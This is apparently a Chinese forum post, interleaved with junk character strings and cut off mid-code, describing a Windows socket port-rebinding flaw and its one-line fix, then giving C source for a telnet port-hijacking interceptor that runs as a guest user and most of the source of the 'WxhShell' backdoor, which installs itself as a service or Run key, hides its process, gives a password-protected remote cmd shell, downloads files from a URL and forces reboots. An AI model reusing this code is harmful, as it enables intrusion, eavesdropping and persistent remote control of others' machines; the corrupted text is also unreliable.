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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .(Y6$[#@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cnNOZ$) _9If/RD saddr.sin_family = AF_INET; gT52G?- 6qp5Xt+ saddr.sin_addr.s_addr = htonl(INADDR_ANY); h SV@TL W
Ox_y, bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @|A| tai Vk4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2:^njqX ? Nj)6_& 这意味着什么?意味着可以进行如下的攻击: ^$?qT60%d| APBK9ky 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :h5J r8 MgJ5B(c 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ]#eh&jw [/9(NUf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8e:vWgQpL /'&;Q7!) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 pO/%N94s a5c'V 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nfE@R."A !vqC+o>@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jbw!:x
[ s;.=5wcvi? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 R, 0Oq5 R{}qK r #include :=. *I #include !k&)EWP? #include l gq=GHW #include p8>%Mflf DWORD WINAPI ClientThread(LPVOID lpParam); EA0iYzV int main() fEqC] *s { ohZx03 WORD wVersionRequested; x7ATI[b[ DWORD ret; ej[S u WSADATA wsaData; W'$kZ/%[ BOOL val; Uene=Q6> SOCKADDR_IN saddr; S`g;Y
' SOCKADDR_IN scaddr; <|F-Dd int err; kq/u,16@ SOCKET s; TipHV;|e SOCKET sc; %v=!'?VT int caddsize; Os&1..$Nb HANDLE mt; o}D![/ DWORD tid;
9YKDguG wVersionRequested = MAKEWORD( 2, 2 ); %J P!{mqj err = WSAStartup( wVersionRequested, &wsaData ); Da,Tav%b if ( err != 0 ) { 8 njuDl printf("error!WSAStartup failed!\n"); X#J6Umutm return -1; L(o#4YH}>J } (cV saddr.sin_family = AF_INET; tbur$00 {*xBm# //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ejcwg*i 3 wt saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i Ci>zJ saddr.sin_port = htons(23); rK=6]j(K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P;U@y"s { >4)g4~'n! printf("error!socket failed!\n"); Rt4di^v return -1; Jt=>-Spj } Bymny>.M val = TRUE; WYO\'W //SO_REUSEADDR选项就是可以实现端口重绑定的 Y3oMh, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) i?>Hr| { *\q8BZ printf("error!setsockopt failed!\n"); MUwVG>b8J~ return -1; AzjMv6N } e- 6(F4 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tgN92Q.i6T //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #5{sglC"|F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j%xBo: Y mDn+VIg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H@W0gK(cS; { V5s&hZZYa ret=GetLastError(); ]P3[.$z printf("error!bind failed!\n"); FdxsUDL return -1; [x_s/"Md; } 1uM/2sX listen(s,2); l2/@<0P while(1) jgRCs.6 { o;;,iHu* caddsize = sizeof(scaddr); qZsnd7o{l. //接受连接请求 VkXn8J sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~CFMIQ et if(sc!=INVALID_SOCKET) p7 [(z
{ (j N]OE^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Wem?{kx0 if(mt==NULL) [=~!w_ { iS-K
~qa printf("Thread Creat Failed!\n"); 1v]t!}W:6 break; 6ZgNHARS } ZNy9_a:dX } I9/KM4& CloseHandle(mt); %UG/ak%z } ^pw7o6} closesocket(s); =uc^433. WSACleanup(); ha>SZnKD{ return 0; ?`i|"y# } b%<jUY DWORD WINAPI ClientThread(LPVOID lpParam) P#bm uCOS { k~|ZO/X@l% SOCKET ss = (SOCKET)lpParam; nKu(XgFv SOCKET sc; x!+Z{ x unsigned char buf[4096]; }200g_^ SOCKADDR_IN saddr; #M:B3C!ouY long num; 1^sb T[%R DWORD val; /j
%_t DWORD ret; d+1x*`U| //如果是隐藏端口应用的话,可以在此处加一些判断 [x$;XqA //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 f?m5pax| saddr.sin_family = AF_INET; j4vB`Gr] saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S)Mby saddr.sin_port = htons(23); Ij,Yuo if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I+~\
w N { 1>;6x^_h0S printf("error!socket failed!\n"); k(9s+0qe return -1; 24O
d] f } J[o${^ val = 100; FvA|1c if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J~'~[,K { K*:Im#Q ret = GetLastError(); 1:5P%$?b return -1; ]:!8 s\# } E6Q91Wz9f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QRiF!D)Nk { 5 iv@@1c ret = GetLastError(); SZE `J:w return -1; 4K'|DO|dH } ZmP1C`> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o{g@Nk'f { ~D_rZ& printf("error!socket connect failed!\n"); :SdIU36 closesocket(sc); C#T)@UxBZ closesocket(ss); ~QO<
B2hS} return -1; .Nk6 } *V<)p%l. while(1) F]0Jwm{ { WS5"!vz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -BjEL; //如果是嗅探内容的话,可以再此处进行内容分析和记录 /rOnm=P+Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6ku8`WyoF num = recv(ss,buf,4096,0); d}pGeU' if(num>0) F*.
/D~K send(sc,buf,num,0); \CDAFu# else if(num==0) P 4H*jy@? break; `43vxcMg num = recv(sc,buf,4096,0); 9Mnem* if(num>0) CP@o,v- send(ss,buf,num,0); n }TTq6B else if(num==0) eoC<a"bJ> break; qb9}&'@: } yq!CWXZ2 closesocket(ss); ~6MMErSj closesocket(sc); (w}r7`n return 0 ; do*Wx2:R } $Q#?`j 37~rm ^Jn|*?+l ========================================================== <G&WYk%u* ~V!EtZG$ 下边附上一个代码,,WXhSHELL %{Xm5#m Le_CIk 5YL ========================================================== Od*v5qT;$ -z&9DWH #include "stdafx.h" 83B\+]{hD v F] #include <stdio.h> rrbZ+*U #include <string.h> Re7{[*Q4 #include <windows.h> +6uOg,; #include <winsock2.h> Fu#Y7)r #include <winsvc.h> +OKA_b"wB #include <urlmon.h> q~mcjbLz ^sJ1 ^LT #pragma comment (lib, "Ws2_32.lib") :S#eg1y.w] #pragma comment (lib, "urlmon.lib") ADTU{6UPS W;5N04ko #define MAX_USER 100 // 最大客户端连接数 X3<SP #define BUF_SOCK 200 // sock buffer Lax9
"xI #define KEY_BUFF 255 // 输入 buffer F=:F>6` W&Y4Dq^ #define REBOOT 0 // 重启 `Uu^I
#define SHUTDOWN 1 // 关机 G &m>Ov$#& )0'Y et} #define DEF_PORT 5000 // 监听端口 >h|UC J1
` fQ^h{n #define REG_LEN 16 // 注册表键长度 "MW55OWYU #define SVC_LEN 80 // NT服务名长度 1LV|t+Sex "tpvENz2s // 从dll定义API "sC$%D<oc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \?J=mE@;1 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _CHKh*KHML typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $h C~af6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W=q?tD~V
7l[t9ON // wxhshell配置信息 4U_rB9K$ struct WSCFG { o-~-F+mj# int ws_port; // 监听端口 gGF$M
` char ws_passstr[REG_LEN]; // 口令 jc3ExOH int ws_autoins; // 安装标记, 1=yes 0=no |L*6x
S[ char ws_regname[REG_LEN]; // 注册表键名 9
Wxq) char ws_svcname[REG_LEN]; // 服务名 D
"JMSL4r char ws_svcdisp[SVC_LEN]; // 服务显示名 ;]|m((15G char ws_svcdesc[SVC_LEN]; // 服务描述信息 bDxPgb7N= char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1OuSH+ int ws_downexe; // 下载执行标记, 1=yes 0=no ^Z#<tN; char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]%b0[7[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?U7&R%Lh` 4KN0i }; A;K{ &x s9^"wN YQ // default Wxhshell configuration xKRfl1 struct WSCFG wscfg={DEF_PORT, ZKVp[A "xuhuanlingzhe", fJ,8g/f8 1, <!$j9) ~x "Wxhshell", 0]f?Dx/8 "Wxhshell", :DF`A( "WxhShell Service", ;Of?fe5: "Wrsky Windows CmdShell Service", 4yJ01s "Please Input Your Password: ", lsTe*Od 1, 7N&3FER " http://www.wrsky.com/wxhshell.exe", EuhF$L1 "Wxhshell.exe" 2n<qAl$t }; !&W"f#_Z Yqq$kln // 消息定义模块 QSlf=VK*y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K*hf(w9="% char *msg_ws_prompt="\n\r? for help\n\r#>"; "a 2H8x char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _p3WE9T char *msg_ws_ext="\n\rExit."; cx,u2~43A& char *msg_ws_end="\n\rQuit."; gME:\ud$ char *msg_ws_boot="\n\rReboot..."; 1KfJl S+ char *msg_ws_poff="\n\rShutdown..."; -Hl\j(D7 char *msg_ws_down="\n\rSave to "; pZNlcB[Qn- P7M0Ce~iW char *msg_ws_err="\n\rErr!"; ^v()iF
! char *msg_ws_ok="\n\rOK!"; \J#I}-a&j ^/4{\3 char ExeFile[MAX_PATH]; ?,A8 fR int nUser = 0; n=<q3}1Jej HANDLE handles[MAX_USER]; 2b vYF;<r int OsIsNt; wFH(.E0@Q XmE_ F SERVICE_STATUS serviceStatus; nJnO/~| SERVICE_STATUS_HANDLE hServiceStatusHandle; kr &:; 'Y6(4|w
( // 函数声明 !YuON6{) int Install(void); qX}dbuDE"P int Uninstall(void); `0/gs int DownloadFile(char *sURL, SOCKET wsh); c;A
ew! int Boot(int flag); 0:nt#n~_ void HideProc(void); u!156X?[eU int GetOsVer(void); &AkzSgP int Wxhshell(SOCKET wsl); Wl}G[>P void TalkWithClient(void *cs); `pn-fk int CmdShell(SOCKET sock); ixUiXP int StartFromService(void); `K ~>!d_ int StartWxhshell(LPSTR lpCmdLine); cfF-e93T (rCPr,@0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pD)/-Dgdm VOID WINAPI NTServiceHandler( DWORD fdwControl ); W"DxIy JN9H T0 // 数据结构和表定义 G+%5V5GS SERVICE_TABLE_ENTRY DispatchTable[] = y[Fw>g1`q { k/6Gj}l'o {wscfg.ws_svcname, NTServiceMain}, S
a#d?:L {NULL, NULL}
Q}`2Y^. }; )@};lmPR u+"hr"}${ // 自我安装 8wNU2yH+D int Install(void) 3vEjf { ~S~x@&yR char svExeFile[MAX_PATH]; ESXU,
qK]v HKEY key; ;U5x'}%0] strcpy(svExeFile,ExeFile); R _~m\P omDi<- // 如果是win9x系统,修改注册表设为自启动 `XRb:d^ if(!OsIsNt) { KfN`ZZ< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yqj.z| }Nb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\1c`) RegCloseKey(key); oBGst t@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )l81R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b&_u
O RegCloseKey(key); Hr64M0V3B return 0; HhT8YH } ]((
>i%%~ } &bRxy`ZH } % /wP2O< else { 0zkT8'v c&iK+qvh{ // 如果是NT以上系统,安装为系统服务 4FP~+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |'>E};D if (schSCManager!=0) _S7M5{U_ { `
TVcI\W SC_HANDLE schService = CreateService sfBjA ( u{dN>}{ schSCManager, 4wEpyQ|L wscfg.ws_svcname, %v6]>FNP'3 wscfg.ws_svcdisp, ]idD&5gd SERVICE_ALL_ACCESS, %W|Zj QI^ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @XSu?+s) SERVICE_AUTO_START, =M
km:'1r SERVICE_ERROR_NORMAL, a(QZZq};S svExeFile, hSf#;=9' NULL, d$C|hT NULL, ;),O*Z|"v NULL, M%dl?9pbq NULL, 3[g++B."pC NULL 3Tte8]0 ); #p:jKAc3 if (schService!=0) vdX~E97 { 4m~stDlN CloseServiceHandle(schService); h[v3G<C ~r CloseServiceHandle(schSCManager); Wy-quq03"& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R S_lQ{' strcat(svExeFile,wscfg.ws_svcname); I4DlEX if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H<}Fk9 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X9BBnZ RegCloseKey(key); JV*,!5 return 0; lDM~Z3(/b } "a_D]D(d5 } i1H80m s CloseServiceHandle(schSCManager); QcVtv7+*v } N[D\@o } :{= 'TMJ7 V5^b6$R@ return 1; OU964vv } R;m0eG` R~?; KJ // 自我卸载 vrEaNT$J- int Uninstall(void) oL/^[TXjH { XjM) /-w HKEY key; X;a{JjN A2FU}Ym0= if(!OsIsNt) { uEO2,1+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2n r
UE RegDeleteValue(key,wscfg.ws_regname); ^T1-dw( RegCloseKey(key);
vCe<-k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &!EYT0=>p RegDeleteValue(key,wscfg.ws_regname); ~0$F
V RegCloseKey(key); (6y3"cbe return 0; mZJzBYM) } 3e<^-e)+xL } cg5{o|x } WHk/mAI-s else { V# %spW u! FSXX< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )h!l%72 if (schSCManager!=0) Yt<PKs#E { L/+J|_J) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P+|8MT0 if (schService!=0) J7] 60H#P { #.t{g8W\C if(DeleteService(schService)!=0) { M HB]' CloseServiceHandle(schService); ZVR 9vw28 CloseServiceHandle(schSCManager); |dzF>8< ) return 0; ~,65/O } 6OW-Dif^AG CloseServiceHandle(schService); ._nKM5. } >o=p5#{ CloseServiceHandle(schSCManager); EQhV}9 } Bj[/tQ } 0e](N` ;I@L return 1; #E@i @'T } YfU#kvE' k0uwG'(z9 // 从指定url下载文件 N9|.D.#MF int DownloadFile(char *sURL, SOCKET wsh) Oo .Qz
{ ~ b_gwJ' HRESULT hr; #iDFGkK/ char seps[]= "/"; ! HC<aWb char *token; [LDzR7vnf char *file; <%7
V`,*g/ char myURL[MAX_PATH]; cTTE]ix] char myFILE[MAX_PATH]; )eMh,r
.u?$h0u5 strcpy(myURL,sURL); Y/(-mcR token=strtok(myURL,seps); e;[8GE.
while(token!=NULL) ,LO-!\L { B9-[wg#0G file=token; ][1u:V/
U token=strtok(NULL,seps); I,3!uogn } r,KK%B *v3
| GetCurrentDirectory(MAX_PATH,myFILE); [![(h % strcat(myFILE, "\\"); A\.*+k/B strcat(myFILE, file); !c($ C send(wsh,myFILE,strlen(myFILE),0); Vatt9 send(wsh,"...",3,0); BF!zfX?n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); N+75wtLy& if(hr==S_OK) &/?jMyD@ return 0; !l^AKn| else ~mU_`o return 1; kR(=VM JU O3Mv"Py% } nHrCSfK ~]M" // 系统电源模块 :L0W"$ int Boot(int flag) -=IM8Dny { )&<ExJQ& HANDLE hToken; V,5}hQJ
F TOKEN_PRIVILEGES tkp; x&vD,|V! LL
[>Uu?Y if(OsIsNt) { e6'O,\ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TMsoQ82 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
e5]AB tkp.PrivilegeCount = 1; LS;anNk@.} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sdD[`# AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); = h( n+y< if(flag==REBOOT) { Ti'kn{
Zv if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Y
sV return 0; D .`\ ^a } <DS6-y else { N2e<Y_T if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+Bfi/ > return 0; BB$>h-M/%# } ,&G
M\FTeb } eov-"SJB else { .YF-t`{ if(flag==REBOOT) { #+k[[; 0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yFsXI0I[p return 0; Am4(WXVQ } +r_[Tj|Er else { ,+.#
eg if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J}CK|} return 0; ppKCY4 } 1+($"$ZC&B } Beg5[4@ *rT(dp!Y return 1; gwT,D.'Ut } V0i$"|F+E wP"|$HN // win9x进程隐藏模块 [CX?Tt void HideProc(void) &
jvG]>CS' { Sw'?$j^3 lJ#>Y5Qg HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \S@6@UGv if ( hKernel != NULL ) 'O9=*L)X { @x
+#ZD( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /
u6$M/Cf> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <Q)} FreeLibrary(hKernel); F-0PmO~3+W } or`stBx |'_<(z return; [rU8
#4.
} 89mre;v` )n@ 3@NV // 获取操作系统版本 q(^J7M) int GetOsVer(void) MGDv4cFE. { /GGu` f OSVERSIONINFO winfo; YU(*kC8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "s9gQAoaO GetVersionEx(&winfo); V}+;bbUc- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y'1V(5/& return 1; yG$@!*| else : PkZ(WZ9 return 0; 8f5^@K\c } wkA!Jv% _Qc\v0% // 客户端句柄模块 l&xD3u^G int Wxhshell(SOCKET wsl) }j*/>m { I3Xh[% -! SOCKET wsh; v"~I( kf$ struct sockaddr_in client; p5VSSvV\K DWORD myID; ,>v9 Y#U %[m1\h"1 while(nUser<MAX_USER) _!p3M3"$B { ~1sl.8tF int nSize=sizeof(client); _\PoZ|G4y wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E,yK` mPp^ if(wsh==INVALID_SOCKET) return 1; VTfaZ/e. L-{r*ccIW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1G.gPx[ if(handles[nUser]==0) t'x:fO?cp closesocket(wsh); o f else DNBpIC5&6 nUser++; BK SK@OV } f`=T@nA WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^VPl>jTg )m;qv'=! return 0; Fxx2vTV4ag } B?Sfcq- 1R9?[RE // 关闭 socket -GVG1#5 void CloseIt(SOCKET wsh) HW Os@!cL { [qMdOY%jx closesocket(wsh); ?4Juw? nUser--; 2_b'mepV ExitThread(0); ~(^*?(Z } G>>u#>0 =c^=Yvc7U // 客户端请求句柄 WVK-dBU void TalkWithClient(void *cs) l{m~d!w`a { MPy][^s! E9 q;>)} SOCKET wsh=(SOCKET)cs; 0(9@GIT char pwd[SVC_LEN]; <dPxy`_ char cmd[KEY_BUFF]; ~c$ts&Cl char chr[1]; ~9YA!48 int i,j; a;(zH*/XK JM lhBh while (nUser < MAX_USER) { utJVuJw:t #(g+jb0E if(wscfg.ws_passstr) { b7sE if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >1I2R/' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (ul-J4E\O //ZeroMemory(pwd,KEY_BUFF); %kFELtx i=0; 1y-lZ}s_ while(i<SVC_LEN) { aW-o=l@; EFt`<qwj // 设置超时 <`UG#6z8 fd_set FdRead; C_ZD<UPA\ struct timeval TimeOut; H-KwkH`L4 FD_ZERO(&FdRead); _D,f4.R FD_SET(wsh,&FdRead); mX.3R+t TimeOut.tv_sec=8; I4f TimeOut.tv_usec=0; Mq lo:7
^F int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @EOR]^?!] if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mCNf]Yz 33*d/%N9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aX'g9E pwd =chr[0]; ww t()
if(chr[0]==0xd || chr[0]==0xa) { ^H6d;n pwd=0; #Y>%Dr& break; aevG<|qP } 7r[%|: i++; &W<>^C2v } 'L|GClc6) 'S4EKV] // 如果是非法用户,关闭 socket
|iUfM3 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n!eqzr{ } [aZ v?Z &Yf#O* send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bZay/ Zkj send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hu(flc+z" v&b.Q:h*' while(1) { VFmg"^k5 2*q:
^ ZeroMemory(cmd,KEY_BUFF); 3 [)s;e _Z66[T+M // 自动支持客户端 telnet标准 KD"&_PX j=0; OWXye4`* while(j<KEY_BUFF) { /.kna4k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QJIItx4hE cmd[j]=chr[0]; y(3c{y@~X if(chr[0]==0xa || chr[0]==0xd) { Ma=6kX] cmd[j]=0; }vUlTH break; M?~<w)L} } `KJYm|@ i j++; feI[M;7u } Z~phOv FO(0D?PCR // 下载文件 %6IlE.*, if(strstr(cmd,"http://")) { 7l#2,d4 send(wsh,msg_ws_down,strlen(msg_ws_down),0);
&QOWW} if(DownloadFile(cmd,wsh)) *&dW\fx send(wsh,msg_ws_err,strlen(msg_ws_err),0); q]i(CaKh else f{^M.G@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k#Ez } ,D@;i else { f5yux}A{ _{c|o{2sj switch(cmd[0]) { /#qs(!
d <f.>jjwFE // 帮助 s\Pt,I@Y_ case '?': { !(]dz~sM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g#'fd/?Q break; x*R8^BA]pR } "h;;.Y8e // 安装 ( ztim case 'i': { =2nn "YVP if(Install()) n,?IcDU~m send(wsh,msg_ws_err,strlen(msg_ws_err),0); OSa}8rlr' else 4Ay`rG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xjK_zO*dLq break; ^#BGA|j } % L ># // 卸载 "0'*q<8 case 'r': { \>Ga-gv6/ if(Uninstall()) 5@UC c send(wsh,msg_ws_err,strlen(msg_ws_err),0); uh5Pn#da^ else K(Q]&&< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <K,%
y(] break; O@r.> } 1p7cv~#95 // 显示 wxhshell 所在路径 ^)f{q)to case 'p': { ;-KAUgL2 char svExeFile[MAX_PATH]; >d8x<|D strcpy(svExeFile,"\n\r"); b^[W_y strcat(svExeFile,ExeFile); *L%6qxl`V send(wsh,svExeFile,strlen(svExeFile),0); %RQ C9! break; x">W u2 } m]FaEQVoE // 重启 .KLm39j( case 'b': { nT.L}1@ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aO.\Qe+j if(Boot(REBOOT)) >=-GD2WK send(wsh,msg_ws_err,strlen(msg_ws_err),0); h4CTTe) else { =tr1*s{ closesocket(wsh); RzA2*]%a ExitThread(0); K*R)V/B/l } `fBG~NDw break; <w0NPrS] } -{X<*P4p // 关机 ixIV=# case 'd': { 0jxO |N2) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lx\qp`w if(Boot(SHUTDOWN)) 0U82f1ei send(wsh,msg_ws_err,strlen(msg_ws_err),0); :+~KPn>w5 else { _ PXG AS closesocket(wsh); tcBC!_vF ExitThread(0); xS6(K } =?/N5O( break; lGdM80f } ]2Sfkl0 // 获取shell Guk.,}9 case 's': { Qq#Ff\|4u( CmdShell(wsh); 3iE-6udCS closesocket(wsh); ^FP}
qW~;9 ExitThread(0); ZCy`2Fir break; 3@^MvoC } tHrK~| // 退出 }.0Bl&\UK case 'x': { ^)&Ly_xrU send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A<4_DVd@@ CloseIt(wsh); p"Ot5!F> break; Jy \2I{I' } $.H:8^W // 离开 $/u1chf case 'q': { -O'{:s~ send(wsh,msg_ws_end,strlen(msg_ws_end),0); )!tCC-Cr closesocket(wsh); B\Xh3l]+j WSACleanup(); F-_%>KJS exit(1); TT'Ofvdc break; kf<c,3A } CY34X2F } ^vJ"-{ } 7OB%A& v# // 提示信息 v`y6y8:> if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z+g1~\ } !CVuw } z0#-)AeS HbcOTd)=5 return; fJaubDxa } J.#(gFBBl\ ]b 3/Es+ // shell模块句柄 {vs 4vS6 int CmdShell(SOCKET sock) C\
tprnY { $tI]rU STARTUPINFO si; pX@Si3G` ZeroMemory(&si,sizeof(si)); (=1)y'. si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; puOC60zI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K*~]fy PROCESS_INFORMATION ProcessInfo; _@Y"$V]=Vt char cmdline[]="cmd"; n5|l|#c$N CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); COR;e`%, return 0; Jlp<koy } mw_ E&v VZ$=6CavH // 自身启动模式 ^$!987" int StartFromService(void) W4(v6>5l { %m9CdWb=w typedef struct Bs[nV}c>> { wu A^'T DWORD ExitStatus; )l_@t(_ DWORD PebBaseAddress; +noZ<KFW
" DWORD AffinityMask; S='
wJ@?; DWORD BasePriority; Ht#@'x ULONG UniqueProcessId; Cezh l ULONG InheritedFromUniqueProcessId; Wt^|BjbB4 } PROCESS_BASIC_INFORMATION; p~K9
